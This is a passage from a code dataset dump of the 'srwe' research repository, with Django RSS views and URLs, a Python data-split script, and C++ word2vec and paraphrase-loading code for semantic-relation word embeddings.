ClassItem(title=class_title)\\n new_class.save()\\n #return HttpResponse('Add class successfully!')\\n return render_to_response('addclass.html')\\n\\ndef format_time(secs):\\n return time.strftime('%Y-%m-%d %H:%M:%S', secs)\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.4875565469264984,\n \"alphanum_fraction\": 0.506033182144165,\n \"avg_line_length\": 23.33027458190918,\n \"blob_id\": \"5274d15ba077f7cfdf8f375be41c927e0009b122\",\n \"content_id\": \"f3ec0030f2a9201ea20ad25d9f686d14b11df0c5\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 2654,\n \"license_type\": \"no_license\",\n \"max_line_length\": 92,\n \"num_lines\": 109,\n \"path\": \"/src/Paraphrase.cpp\",\n \"repo_name\": \"zbhno37/srwe\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"//\\n// Paraphrase.cpp\\n// word2vec\\n//\\n// Created by gflfof gflfof on 14-1-22.\\n// Copyright (c) 2014年 hit. All rights reserved.\\n//\\n\\n#include \\\"Paraphrase.h\\\"\\n#include <sstream>\\n\\nvoid Paraphrase::InitList(string filename)\\n{\\n ifstream ifs(filename.c_str());\\n char line_buf[1000];\\n ifs.getline(line_buf, 1000, '\\\\n');\\n while (strcmp(line_buf, \\\"\\\")) {\\n istringstream iss(line_buf);\\n string key; iss >> key;\\n \\n vector<string> val;\\n pplist[key] = val;\\n while (! iss.eof()) {\\n string word; iss >> word;\\n pplist[key].push_back(word);\\n //iss >> word;\\n }\\n ifs.getline(line_buf, 1000, '\\\\n');\\n }\\n ifs.close();\\n}\\n\\n/*\\nvector<string>* Paraphrase::GetList(string word)\\n{\\n word2list::iterator iter = pplist.find(word);\\n if (iter != pplist.end()) {\\n return &iter->second;\\n }\\n else\\n {\\n return NULL;\\n }\\n}\\n */\\n\\nvoid Paraphrase::GetList(string word, vector<string>& retlist)\\n{\\n retlist.clear();\\n word2list::iterator iter = pplist.find(word);\\n if (iter != pplist.end()) {\\n retlist = iter->second;\\n }\\n}\\n\\nvoid Paraphrase2::InitDict(string filename)\\n{\\n ifstream ifs(filename.c_str());\\n char line_buf[1000];\\n ifs.getline(line_buf, 1000, '\\\\n');\\n while (strcmp(line_buf, \\\"\\\")) {\\n istringstream iss(line_buf);\\n string key; iss >> key;\\n word2dict::iterator iter = ppdict.find(key);\\n if (iter == ppdict.end()) {\\n word2int d;\\n ppdict[key] = d;\\n }\\n\\n while (! iss.eof()) {\\n string word; iss >> word;\\n word2int::iterator it_wi = ppdict[key].find(word);\\n if (it_wi == ppdict[key].end()) {\\n ppdict[key][word] = 1;\\n }\\n \\n word2dict::iterator it_wd = ppdict.find(word);\\n if (it_wd == ppdict.end()) {\\n word2int d;\\n ppdict[word] = d;\\n ppdict[word][key] = 1;\\n }\\n else\\n {\\n it_wi = ppdict[word].find(key);\\n if (it_wi == ppdict[word].end()) {\\n ppdict[word][key] = 1;\\n }\\n }\\n }\\n ifs.getline(line_buf, 1000, '\\\\n');\\n }\\n ifs.close();\\n}\\n\\nvoid Paraphrase2::GetList(string word, vector<string>& pplist)\\n{\\n word2dict::iterator iter = ppdict.find(word);\\n pplist.clear();\\n if (iter != ppdict.end()) {\\n for (word2int::iterator it = iter->second.begin(); it != iter->second.end(); it++) {\\n pplist.push_back(it->first);\\n }\\n }\\n}\\n\\nvoid Paraphrase2::GetDict(vector<string>& keys)\\n{\\n}\\n\"\n },\n {\n \"alpha_fraction\": 0.6622911691665649,\n \"alphanum_fraction\": 0.6622911691665649,\n \"avg_line_length\": 33.91666793823242,\n \"blob_id\": \"7b52f819f4d02c4948cb951a38cf8f1c310c7572\",\n \"content_id\": \"5ab1a2b09d216a373887eeb80eb99629f39613e5\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 838,\n \"license_type\": \"no_license\",\n \"max_line_length\": 71,\n \"num_lines\": 24,\n \"path\": \"/demo/rss_news/rss_news/urls.py\",\n \"repo_name\": \"zbhno37/srwe\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.conf.urls import patterns, include, url\\nfrom rss import views as rss_views\\n# Uncomment the next two lines to enable the admin:\\n# from django.contrib import admin\\n# admin.autodiscover()\\n\\nurlpatterns = [\\n # Examples:\\n # url(r'^$', 'rss_news.views.home', name='home'),\\n # url(r'^rss_news/', include('rss_news.foo.urls')),\\n\\n # Uncomment the admin/doc line below to enable admin documentation:\\n # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\\n\\n # Uncomment the next line to enable the admin:\\n # url(r'^admin/', include(admin.site.urls)),\\n url(r'^addrss.htm', rss_views.render_addrss),\\n url(r'^addclass.htm', rss_views.render_addclass),\\n url(r'^rss/add$', rss_views.add_rss),\\n url(r'^class/add$', rss_views.add_class),\\n\\n # test\\n #url(r'^test$', rss_views.fetch_rss_update),\\n]\\n\"\n },\n {\n \"alpha_fraction\": 0.5480682849884033,\n \"alphanum_fraction\": 0.5624438524246216,\n \"avg_line_length\": 35.49180221557617,\n \"blob_id\": \"ec514e1e72c64338eaf95683e6f0bfbe315aff56\",\n \"content_id\": \"b15dc150e90643e1490a0307ea40bb361e34fb39\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2226,\n \"license_type\": \"no_license\",\n \"max_line_length\": 80,\n \"num_lines\": 61,\n \"path\": \"/gen_data/split_train_test_data.py\",\n \"repo_name\": \"zbhno37/srwe\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import random\\nimport logging\\nlogging.basicConfig(format='%(asctime)s\\\\t%(message)s', level=logging.INFO)\\nfrom collections import defaultdict\\n\\ndef sample_all(filename):\\n logging.info('split_train_test_data:sample_all: %s' % filename)\\n test_percentage = 10\\n fout_train = file('%s.train' % filename, 'w')\\n fout_test = file('%s.test' % filename, 'w')\\n count = 0\\n with open(filename) as fin:\\n for line in fin:\\n if count % 1000 == 0: logging.info(count)\\n count += 1\\n num = random.randint(1, 100)\\n if num <= test_percentage:\\n fout_test.write('%s\\\\n' % line.strip())\\n else:\\n fout_train.write('%s\\\\n' % line.strip())\\n fout_test.close()\\n fout_train.close()\\n\\ndef sample_by_relation(filename):\\n logging.info('split_train_test_data:sample_by_relation: %s' % filename)\\n test_percentage = 20\\n fout_train = file('%s.train' % filename, 'w')\\n fout_test = file('%s.test' % filename, 'w')\\n count = 0\\n relation_list = defaultdict(list)\\n with open(filename) as fin:\\n for line in fin:\\n if count % 1000 == 0: logging.info(count)\\n count += 1\\n arr = line.strip().split('\\\\t')\\n h, r, t = arr\\n relation_list[r].append(arr)\\n #num = random.randint(1, 100)\\n #if num <= test_percentage:\\n #fout_test.write('%s\\\\n' % line.strip())\\n #else:\\n #fout_train.write('%s\\\\n' % line.strip())\\n for relation in relation_list:\\n logging.info('%s, size:%d' % (relation, len(relation_list[relation])))\\n random.shuffle(relation_list[relation])\\n test_size = len(relation_list[relation]) * test_percentage / 100\\n for i in range(len(relation_list[relation])):\\n if i <= test_size:\\n fout_test.write('%s\\\\n' % '\\\\t'.join(relation_list[relation][i]))\\n else:\\n fout_train.write('%s\\\\n' % '\\\\t'.join(relation_list[relation][i]))\\n fout_test.close()\\n fout_train.close()\\n\\ndef main():\\n filename = '../../paper/data/srwe_model/freebase.100.relation'\\n #sample_all(filename)\\n sample_by_relation(filename)\\n\\nif __name__ == '__main__':\\n main()\\n\"\n },\n {\n \"alpha_fraction\": 0.423232764005661,\n \"alphanum_fraction\": 0.44763466715812683,\n \"avg_line_length\": 44.08086013793945,\n \"blob_id\": \"87eb31cb09b2fd5bcf3c6060ba4e483fffbc4b39\",\n \"content_id\": \"ec3cc79757fe4e84a68686ec4f59d2abd7b79ea0\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 77496,\n \"license_type\": \"no_license\",\n \"max_line_length\": 221,\n \"num_lines\": 1719,\n \"path\": \"/src/word2vec_joint.cpp\",\n \"repo_name\": \"zbhno37/srwe\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"//\\n// word2vec.cpp\\n// word2vec\\n//\\n// Created by gflfof gflfof on 14-1-22.\\n// Copyright (c) 2014年 hit. All rights reserved.\\n//\\n\\n// Copyright 2013 Google Inc. All Rights Reserved.\\n//\\n// Licensed under the Apache License, Version 2.0 (the \\\"License\\\");\\n// you may not use this file except in compliance with the License.\\n// You may obtain a copy of the License at\\n//\\n// http://www.apache.org/licenses/LICENSE-2.0\\n//\\n// Unless required by applicable law or agreed to in writing, software\\n// distributed under the License is distributed on an \\\"AS IS\\\" BASIS,\\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\\n// See the License for the specific language governing permissions and\\n// limitations under the License.\\n\\n#include <stdio.h>\\n#include <stdlib.h>\\n#include <string.h>\\n#include <math.h>\\n#include <pthread.h>\\n#include <sstream>\\n#include <iostream>\\n#include \\\"Paraphrase.h\\\"\\n#include \\\"RelationalData.h\\\"\\n// #include \\\"EvaluationPP.h\\\"\\n\\n\\n\\n#define MAX_STRING 100\\n#define EXP_TABLE_SIZE 1000\\n#define MAX_EXP 6\\n#define MAX_SENTENCE_LENGTH 1000\\n#define MAX_CODE_LENGTH 40\\n\\nconst long long max_size = 2000; // max length of strings\\nconst long long N = 200; // number of closest words\\nconst long long max_w = 50; // max length of vocabulary entries\\ntypedef std::tr1::unordered_map<string, int > worddict;\\n\\nconst int vocab_hash_size = 30000000; // Maximum 30 * 0.7 = 21M words in the vocabulary\\n\\ntypedef float real; // Precision of float numbers\\n\\nstruct vocab_word {\\n long long cn;\\n int *point;\\n char *word, *code, codelen;\\n};\\n\\nchar train_file[MAX_STRING], output_file[MAX_STRING];\\nchar save_vocab_file[MAX_STRING], read_vocab_file[MAX_STRING];\\nstruct vocab_word *vocab;\\nint binary = 0, cbow = 0, debug_mode = 2, window = 5, min_count = 5;\\nint num_threads = 1, min_reduce = 1, num_thread_pmm = 1;\\nint *vocab_hash;\\nlong long vocab_max_size = 1000, vocab_size = 0, layer1_size = 100;\\nlong long train_words = 0, word_count_actual = 0, file_size = 0, classes = 0;\\nlong long pp_count_actual = 0;\\nreal alpha = 0.025, starting_alpha, sample = 0;\\nreal lambda = 0.1, starting_lambda;\\nreal gamma_value = 0.0001;\\nreal *syn0;\\nreal *syn1, *syn1neg, *expTable;\\n//real *A;\\n\\nword2int upperdict;\\nvector<string> uppervocab;\\n\\nint weight_tying = 0;\\n\\nclock_t start;\\nchar train_file2[MAX_STRING];\\nchar pp_file[MAX_STRING];\\nchar relational_file[MAX_STRING];\\nint word2vec = 1;\\nint reg = 0;\\nint reg_in = 0;\\nint reg_out = 1;\\nint epochs = 1;\\n\\nint use_relational = 1;\\nint use_pp = 1;\\nint pretrain = 0;\\nchar pretrain_file[MAX_STRING];\\n\\nParaphrase2* pp;\\nParaphrase* ppeval;\\nRelationalData* rdata = NULL;\\n//real lambda = 0.1;\\nreal lambda_in = 0.1;\\nreal lambda_out = 0.1;\\n\\nlong long sem_dim = 0;\\n\\nint hs = 1, negative = 0;\\nconst int table_size = 1e8;\\nint *table;\\n\\nint LoadEmb(string modelfile);\\n\\nvoid InitUnigramTable() {\\n int a, i;\\n long long train_words_pow = 0;\\n real d1, power = 0.75;\\n table = (int *)malloc(table_size * sizeof(int));\\n for (a = 0; a < vocab_size; a++) train_words_pow += pow(vocab[a].cn, power);\\n i = 0;\\n d1 = pow(vocab[i].cn, power) / (real)train_words_pow;\\n for (a = 0; a < table_size; a++) {\\n table[a] = i;\\n if (a / (real)table_size > d1) {\\n i++;\\n d1 += pow(vocab[i].cn, power) / (real)train_words_pow;\\n }\\n if (i >= vocab_size) i = (int)vocab_size - 1;\\n }\\n}\\n\\nvoid BuildUpperDict() {\\n char tmpword[max_w];\\n for (int a = 0; a < vocab_size; a++) {\\n for (int c = 0; c < max_w; c++) tmpword[c] = toupper(vocab[a].word[c]);\\n word2int::iterator iter = upperdict.find(string(tmpword));\\n if (iter == upperdict.end()) upperdict[string(tmpword)] = (int)a;\\n uppervocab.push_back(tmpword);\\n }\\n}\\n\\nint evaluateMRRout(int threshold, Paraphrase* pp)\\n{\\n char bestw[N][max_size];\\n real* M;\\n float dist, len, bestd[N];\\n long long words, size, a, c, d, b1;\\n\\n size = layer1_size;\\n words = vocab_size;\\n if (threshold) if (words > threshold) words = threshold;\\n\\n M = (float *)malloc(words * layer1_size * sizeof(float));\\n memcpy(M, syn1neg, words * layer1_size * sizeof(float));\\n for (int i = 0; i < words; i++) {\\n len = 0;\\n for (a = 0; a < size; a++) len += M[a + i * size] * M[a + i * size];\\n len = sqrt(len);\\n for (a = 0; a < size; a++) M[a + i * size] /= len;\\n }\\n size = layer1_size;\\n\\n int count = 0;\\n int Total = 0; int Num_Ob = 0;\\n double score_total = 0.0;\\n char key[max_size], answer[max_size];\\n for (word2list::iterator iter = pp->pplist.begin(); iter != pp->pplist.end(); iter++) {\\n strcpy(key,iter->first.c_str());\\n for (a = 0; a < max_w; a++) key[a] = toupper(key[a]);\\n vector<string> val = iter -> second;\\n\\n count++;\\n if (count % 10 == 0) {\\n printf(\\\"%d\\\\r\\\", count);\\n fflush(stdout);\\n }\\n\\n for (a = 0; a < N; a++) bestd[a] = 0;\\n for (a = 0; a < N; a++) bestw[a][0] = 0;\\n\\n //for (b = 0; b < words; b++) if (!strcmp(&vocab[b * max_w], st1)) break;\\n worddict::iterator it = upperdict.find(string(key));\\n if (it != upperdict.end() && it->second < words) b1 = it->second;\\n else continue;\\n\\n vector<string>::iterator iter2;\\n for (iter2 = val.begin(); iter2 != val.end(); iter2++) {\\n strcpy(answer, iter2->c_str());\\n for (a = 0; a < max_w; a++) answer[a] = toupper(answer[a]);\\n it = upperdict.find(string(answer));\\n if (it == upperdict.end() || it->second >= words) break;\\n dist = 0;\\n for (a = 0; a < size; a++) dist += M[a + b1 * size] * M[a + it->second * size];\\n //printf(\\\"%lf\\\\n\\\", dist);\\n }\\n if (iter2 != val.end()) continue;\\n\\n Num_Ob++;\\n for (c = 0; c < words; c++) {\\n if (c == b1) continue;\\n dist = 0;\\n for (a = 0; a < size; a++) dist += M[a + b1 * size] * M[a + c * size];\\n for (a = 0; a < N; a++) {\\n if (dist > bestd[a]) {\\n for (d = N - 1; d > a; d--) {\\n bestd[d] = bestd[d - 1];\\n strcpy(bestw[d], bestw[d - 1]);\\n }\\n bestd[a] = dist;\\n strcpy(bestw[a], uppervocab[c].c_str());\\n break;\\n }\\n }\\n }\\n\\n double score = 0.0;\\n int PP_total = (int)val.size();\\n\\n for (int i = 0; i < N; i++) {\\n if (!strcmp(answer, bestw[i])) {\\n //printf(\\\"%lf\\\\n\\\", bestd[i]);\\n score += (double)1 / (i + 1);\\n break;\\n }\\n }\\n\\n Total += PP_total;\\n score /= PP_total;\\n score_total += score;\\n }\\n printf(\\\"\\\\n\\\");\\n free(M);\\n printf(\\\"Queries seen / total: %d %d %.2f %% \\\\n\\\", Num_Ob, (int)pp->pplist.size(), (float)Num_Ob/pp->pplist.size()*100);\\n printf(\\\"MRR (threshold %lld): %.2f %d %.2f %% \\\\n\\\", N, score_total, Num_Ob, score_total / Num_Ob * 100);\\n return 0;\\n}\\n\\n// Reads a single word from a file, assuming space + tab + EOL to be word boundaries\\nvoid ReadWord(char *word, FILE *fin) {\\n int a = 0, ch;\\n while (!feof(fin)) {\\n ch = fgetc(fin);\\n if (ch == 13) continue;\\n if ((ch == ' ') || (ch == '\\\\t') || (ch == '\\\\n')) {\\n if (a > 0) {\\n if (ch == '\\\\n') ungetc(ch, fin);\\n break;\\n }\\n if (ch == '\\\\n') {\\n strcpy(word, (char *)\\\"</s>\\\");\\n return;\\n } else continue;\\n }\\n word[a] = ch;\\n a++;\\n if (a >= MAX_STRING - 1) a--; // Truncate too long words\\n }\\n word[a] = 0;\\n}\\n\\n// Returns hash value of a word\\nint GetWordHash(const char *word) {\\n unsigned long long a, hash = 0;\\n for (a = 0; a < strlen(word); a++) hash = hash * 257 + word[a];\\n hash = hash % vocab_hash_size;\\n return hash;\\n}\\n\\n// Returns position of a word in the vocabulary; if the word is not found, returns -1\\nint SearchVocab(const char *word) {\\n unsigned int hash = GetWordHash(word);\\n while (1) {\\n if (vocab_hash[hash] == -1) return -1;\\n if (!strcmp(word, vocab[vocab_hash[hash]].word)) return vocab_hash[hash];\\n hash = (hash + 1) % vocab_hash_size;\\n }\\n return -1;\\n}\\n\\n// Reads a word and returns its index in the vocabulary\\nint ReadWordIndex(FILE *fin) {\\n char word[MAX_STRING];\\n ReadWord(word, fin);\\n if (feof(fin)) return -1;\\n return SearchVocab(word);\\n}\\n\\n// Adds a word to the vocabulary\\nint AddWordToVocab(const char *word) {\\n unsigned int hash, length = strlen(word) + 1;\\n if (length > MAX_STRING) length = MAX_STRING;\\n vocab[vocab_size].word = (char *)calloc(length, sizeof(char));\\n strcpy(vocab[vocab_size].word, word);\\n vocab[vocab_size].cn = 0;\\n vocab_size++;\\n // Reallocate memory if needed\\n if (vocab_size + 2 >= vocab_max_size) {\\n vocab_max_size += 1000;\\n vocab = (struct vocab_word *)realloc(vocab, vocab_max_size * sizeof(struct vocab_word));\\n }\\n hash = GetWordHash(word);\\n while (vocab_hash[hash] != -1) hash = (hash + 1) % vocab_hash_size;\\n vocab_hash[hash] = vocab_size - 1;\\n return vocab_size - 1;\\n}\\n\\n// Used later for sorting by word counts\\nint VocabCompare(const void *a, const void *b) {\\n return ((struct vocab_word *)b)->cn - ((struct vocab_word *)a)->cn;\\n}\\n\\n// Sorts the vocabulary by frequency using word counts\\nvoid SortVocab() {\\n int a, size;\\n unsigned int hash;\\n // Sort the vocabulary and keep </s> at the first position\\n qsort(&vocab[1], vocab_size - 1, sizeof(struct vocab_word), VocabCompare);\\n for (a = 0; a < vocab_hash_size; a++) vocab_hash[a] = -1;\\n size = vocab_size;\\n train_words = 0;\\n for (a = 0; a < size; a++) {\\n // Words occuring less than min_count times will be discarded from the vocab\\n if (vocab[a].cn < min_count) {\\n vocab_size--;\\n free(vocab[vocab_size].word);\\n } else {\\n // Hash will be re-computed, as after the sorting it is not actual\\n hash=GetWordHash(vocab[a].word);\\n while (vocab_hash[hash] != -1) hash = (hash + 1) % vocab_hash_size;\\n vocab_hash[hash] = a;\\n train_words += vocab[a].cn;\\n }\\n }\\n vocab = (struct vocab_word *)realloc(vocab, (vocab_size + 1) * sizeof(struct vocab_word));\\n // Allocate memory for the binary tree construction\\n for (a = 0; a < vocab_size; a++) {\\n vocab[a].code = (char *)calloc(MAX_CODE_LENGTH, sizeof(char));\\n vocab[a].point = (int *)calloc(MAX_CODE_LENGTH, sizeof(int));\\n }\\n}\\n\\n// Reduces the vocabulary by removing infrequent tokens\\nvoid ReduceVocab() {\\n int a, b = 0;\\n\\n unsigned int hash;\\n for (a = 0; a < vocab_size; a++) if (vocab[a].cn > min_reduce) {\\n vocab[b].cn = vocab[a].cn;\\n vocab[b].word = vocab[a].word;\\n b++;\\n } else free(vocab[a].word);\\n vocab_size = b;\\n for (a = 0; a < vocab_hash_size; a++) vocab_hash[a] = -1;\\n for (a = 0; a < vocab_size; a++) {\\n // Hash will be re-computed, as it is not actual\\n hash = GetWordHash(vocab[a].word);\\n while (vocab_hash[hash] != -1) hash = (hash + 1) % vocab_hash_size;\\n vocab_hash[hash] = a;\\n }\\n fflush(stdout);\\n min_reduce++;\\n}\\n\\n// Create binary Huffman tree using the word counts\\n// Frequent words will have short uniqe binary codes\\nvoid CreateBinaryTree() {\\n long long a, b, i, min1i, min2i, pos1, pos2, point[MAX_CODE_LENGTH];\\n char code[MAX_CODE_LENGTH];\\n long long *count = (long long *)calloc(vocab_size * 2 + 1, sizeof(long long));\\n long long *binary = (long long *)calloc(vocab_size * 2 + 1, sizeof(long long));\\n long long *parent_node = (long long *)calloc(vocab_size * 2 + 1, sizeof(long long));\\n for (a = 0; a < vocab_size; a++) count[a] = vocab[a].cn;\\n for (a = vocab_size; a < vocab_size * 2; a++) count[a] = 1e15;\\n pos1 = vocab_size - 1;\\n pos2 = vocab_size;\\n // Following algorithm constructs the Huffman tree by adding one node at a time\\n for (a = 0; a < vocab_size - 1; a++) {\\n // First, find two smallest nodes 'min1, min2'\\n if (pos1 >= 0) {\\n if (count[pos1] < count[pos2]) {\\n min1i = pos1;\\n pos1--;\\n } else {\\n min1i = pos2;\\n pos2++;\\n }\\n } else {\\n min1i = pos2;\\n pos2++;\\n }\\n if (pos1 >= 0) {\\n if (count[pos1] < count[pos2]) {\\n min2i = pos1;\\n pos1--;\\n } else {\\n min2i = pos2;\\n pos2++;\\n }\\n } else {\\n min2i = pos2;\\n pos2++;\\n }\\n count[vocab_size + a] = count[min1i] + count[min2i];\\n parent_node[min1i] = vocab_size + a;\\n parent_node[min2i] = vocab_size + a;\\n binary[min2i] = 1;\\n }\\n // Now assign binary code to each vocabulary word\\n for (a = 0; a < vocab_size; a++) {\\n b = a;\\n i = 0;\\n while (1) {\\n code[i] = binary[b];\\n point[i] = b;\\n i++;\\n b = parent_node[b];\\n if (b == vocab_size * 2 - 2) break;\\n }\\n vocab[a].codelen = i;\\n vocab[a].point[0] = vocab_size - 2;\\n for (b = 0; b < i; b++) {\\n vocab[a].code[i - b - 1] = code[b];\\n vocab[a].point[i - b] = point[b] - vocab_size;\\n }\\n }\\n free(count);\\n free(binary);\\n free(parent_node);\\n}\\n\\nvoid LearnVocabFromTrainFile() {\\n char word[MAX_STRING];\\n FILE *fin;\\n long long a, i;\\n for (a = 0; a < vocab_hash_size; a++) vocab_hash[a] = -1;\\n fin = fopen(train_file, \\\"rb\\\");\\n if (fin == NULL) {\\n printf(\\\"ERROR: training data file not found!\\\\n\\\");\\n exit(1);\\n }\\n vocab_size = 0;\\n AddWordToVocab((char *)\\\"</s>\\\");\\n while (1) {\\n ReadWord(word, fin);\\n if (feof(fin)) break;\\n train_words++;\\n if ((debug_mode > 1) && (train_words % 1000000 == 0)) {\\n printf(\\\"%lldK%c\\\", train_words / 1000, '\\\\n');\\n fflush(stdout);\\n }\\n i = SearchVocab(word);\\n if (i == -1) {\\n a = AddWordToVocab(word);\\n vocab[a].cn = 1;\\n } else vocab[i].cn++;\\n if (vocab_size > vocab_hash_size * 0.7) ReduceVocab();\\n }\\n\\n // RelationalData\\n if (rdata) {\\n for (auto &relation_word : rdata->relations) {\\n i = SearchVocab(relation_word.first.c_str());\\n if (i == -1) {\\n a = AddWordToVocab(relation_word.first.c_str());\\n vocab[a].cn = relation_word.second;\\n } else vocab[i].cn += relation_word.second;\\n }\\n }\\n // RelationData End\\n\\n SortVocab();\\n if (debug_mode > 0) {\\n printf(\\\"Vocab size: %lld\\\\n\\\", vocab_size);\\n printf(\\\"Words in train file: %lld\\\\n\\\", train_words);\\n }\\n file_size = ftell(fin);\\n fclose(fin);\\n}\\n\\nvoid SaveVocab() {\\n long long i;\\n FILE *fo = fopen(save_vocab_file, \\\"wb\\\");\\n for (i = 0; i < vocab_size; i++) fprintf(fo, \\\"%s %lld\\\\n\\\", vocab[i].word, vocab[i].cn);\\n fclose(fo);\\n}\\n\\nvoid ReadVocab() {\\n long long a, i = 0;\\n char c;\\n char word[MAX_STRING];\\n FILE *fin = fopen(read_vocab_file, \\\"rb\\\");\\n if (fin == NULL) {\\n printf(\\\"Vocabulary file not found\\\\n\\\");\\n exit(1);\\n }\\n for (a = 0; a < vocab_hash_size; a++) vocab_hash[a] = -1;\\n vocab_size = 0;\\n while (1) {\\n ReadWord(word, fin);\\n if (feof(fin)) break;\\n a = AddWordToVocab(word);\\n fscanf(fin, \\\"%lld%c\\\", &vocab[a].cn, &c);\\n i++;\\n }\\n SortVocab();\\n if (debug_mode > 0) {\\n printf(\\\"Vocab size: %lld\\\\n\\\", vocab_size);\\n printf(\\\"Words in train file: %lld\\\\n\\\", train_words);\\n }\\n fin = fopen(train_file, \\\"rb\\\");\\n if (fin == NULL) {\\n printf(\\\"ERROR: training data file not found!\\\\n\\\");\\n exit(1);\\n }\\n fseek(fin, 0, SEEK_END);\\n file_size = ftell(fin);\\n fclose(fin);\\n}\\n\\nvoid InitNet() {\\n long long a, b;\\n a = posix_memalign((void **)&syn0, 128, (long long)vocab_size * layer1_size * sizeof(real));\\n if (syn0 == NULL) {printf(\\\"Memory allocation failed\\\\n\\\"); exit(1);}\\n if (hs) {\\n a = posix_memalign((void **)&syn1, 128, (long long)vocab_size * layer1_size * sizeof(real));\\n if (syn1 == NULL) {printf(\\\"Memory allocation failed\\\\n\\\"); exit(1);}\\n for (b = 0; b < layer1_size; b++) for (a = 0; a < vocab_size; a++)\\n syn1[a * layer1_size + b] = 0;\\n }\\n if (negative>0) {\\n a = posix_memalign((void **)&syn1neg, 128, (long long)vocab_size * layer1_size * sizeof(real));\\n if (syn1neg == NULL) {printf(\\\"Memory allocation failed\\\\n\\\"); exit(1);}\\n for (b = 0; b < layer1_size; b++) for (a = 0; a < vocab_size; a++)\\n syn1neg[a * layer1_size + b] = (rand() / (real)RAND_MAX - 0.5) / layer1_size;\\n //syn1neg[a * layer1_size + b] = 0;\\n }\\n for (b = 0; b < layer1_size; b++) for (a = 0; a < vocab_size; a++)\\n syn0[a * layer1_size + b] = (rand() / (real)RAND_MAX - 0.5) / layer1_size;\\n\\n if (pretrain) LoadEmb(pretrain_file);\\n //else for (b = 0; b < layer1_size; b++) for (a = 0; a < vocab_size; a++)\\n // syn1neg[a * layer1_size + b] = (rand() / (real)RAND_MAX - 0.5) / layer1_size;\\n\\n CreateBinaryTree();\\n}\\n\\nvoid *TrainRelationVectorThread(void *id){\\n //relationconfig\\n if (use_relational && negative > 0 and rdata != NULL) {\\n long long head_id, tail_id, relation_id;\\n long long update_relation_word_count = 0;\\n long long c, d, target, label, l2;\\n unsigned long long next_random = (long long)id;\\n real f, g;\\n real *neu1 = (real *)calloc(layer1_size, sizeof(real));\\n real *neu1e = (real *)calloc(layer1_size, sizeof(real));\\n unordered_map<string, vector<pair<string, string>>> &dataset = rdata->dataset;\\n for (int ep = 0; ep < epochs; ep++) {\\n printf(\\\"TrainRelationVectorThread: ep:%d, update_relation_word_count:%lld\\\\n\\\", ep, update_relation_word_count);\\n for (auto iter = dataset.begin(); iter != dataset.end(); iter++) {\\n for (auto pair_iter = iter->second.begin(); pair_iter != iter->second.end(); pair_iter++) {\\n head_id = SearchVocab(iter->first.c_str());\\n relation_id = SearchVocab(pair_iter->first.c_str());\\n tail_id = SearchVocab(pair_iter->second.c_str());\\n if (head_id == -1 || relation_id == -1 || tail_id == -1) continue;\\n update_relation_word_count++;\\n // sum of h + r\\n for (c = 0; c < layer1_size; c++) neu1[c] = 0;\\n for (c = 0; c < layer1_size; c++) {\\n // update word vector\\n neu1[c] += syn0[c + head_id * layer1_size] + syn0[c + relation_id * layer1_size];\\n //neu1[c] += syn1neg[c + head_id * layer1_size] + syn1neg[c + relation_id * layer1_size];\\n }\\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\\n // NEGATIVE SAMPLING\\n // sample with tail\\n if (negative > 0) for (d = 0; d < negative + 1; d++) {\\n if (d == 0) {\\n target = tail_id;\\n label = 1;\\n } else {\\n next_random = next_random * (unsigned long long)25214903917 + 11;\\n target = table[(next_random >> 16) % table_size];\\n if (target == 0) target = next_random % (vocab_size - 1) + 1;\\n if (target == tail_id) continue;\\n label = 0;\\n }\\n l2 = target * layer1_size;\\n f = 0;\\n for (c = 0; c < layer1_size; c++) f += neu1[c] * syn0[c + l2];\\n //for (c = 0; c < layer1_size; c++) f += neu1[c] * syn1neg[c + l2];\\n if (f > MAX_EXP) g = (label - 1) * gamma_value;\\n else if (f < -MAX_EXP) g = (label - 0) * gamma_value;\\n else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * gamma_value;\\n //accumulated for e{h + r}\\n for (c = 0; c < layer1_size; c++)\\n neu1e[c] += g * syn0[l2 + c];\\n //neu1e[c] += g * syn1neg[l2 + c];\\n //update e{t}\\n for (c = 0; c < layer1_size; c++) {\\n syn0[c + l2] += g * neu1[c];\\n //syn1neg[c + l2] += g * neu1[c];\\n }\\n }\\n // update e{h} and e{r}\\n for (c = 0; c < layer1_size; c++) {\\n syn0[c + head_id * layer1_size] += neu1e[c];\\n syn0[c + relation_id * layer1_size] += neu1e[c];\\n //syn1neg[c + head_id * layer1_size] += neu1e[c];\\n //syn1neg[c + relation_id * layer1_size] += neu1e[c];\\n }\\n }\\n }\\n }\\n free(neu1);\\n free(neu1e);\\n }\\n return 0;\\n}\\n\\nvoid *TrainModelRegThread(void *id) {\\n long long a, b, d, word, last_word, sentence_length = 0, sentence_position = 0;\\n long long word_count = 0, last_word_count = 0, sen[MAX_SENTENCE_LENGTH + 1];\\n long long l1, l2, c, target, label;\\n unsigned long long next_random = (long long)id;\\n real f, g;\\n clock_t now;\\n real *neu1 = (real *)calloc(layer1_size, sizeof(real));\\n real *neu1e = (real *)calloc(layer1_size, sizeof(real));\\n FILE *fi = fopen(train_file, \\\"rb\\\");\\n fseek(fi, file_size / (long long)num_threads * (long long)id, SEEK_SET);\\n while (1) {\\n if (word_count - last_word_count > 10000) {\\n word_count_actual += word_count - last_word_count;\\n last_word_count = word_count;\\n if ((debug_mode > 1)) {\\n now=clock();\\n printf(\\\"%cAlpha: %f Progress: %.2f%% Words/thread/sec: %.2fk \\\", 13, alpha,\\n word_count_actual / (real)(train_words + 1) * 100,\\n word_count_actual / ((real)(now - start + 1) / (real)CLOCKS_PER_SEC * 1000));\\n fflush(stdout);\\n }\\n alpha = starting_alpha * (1 - word_count_actual / 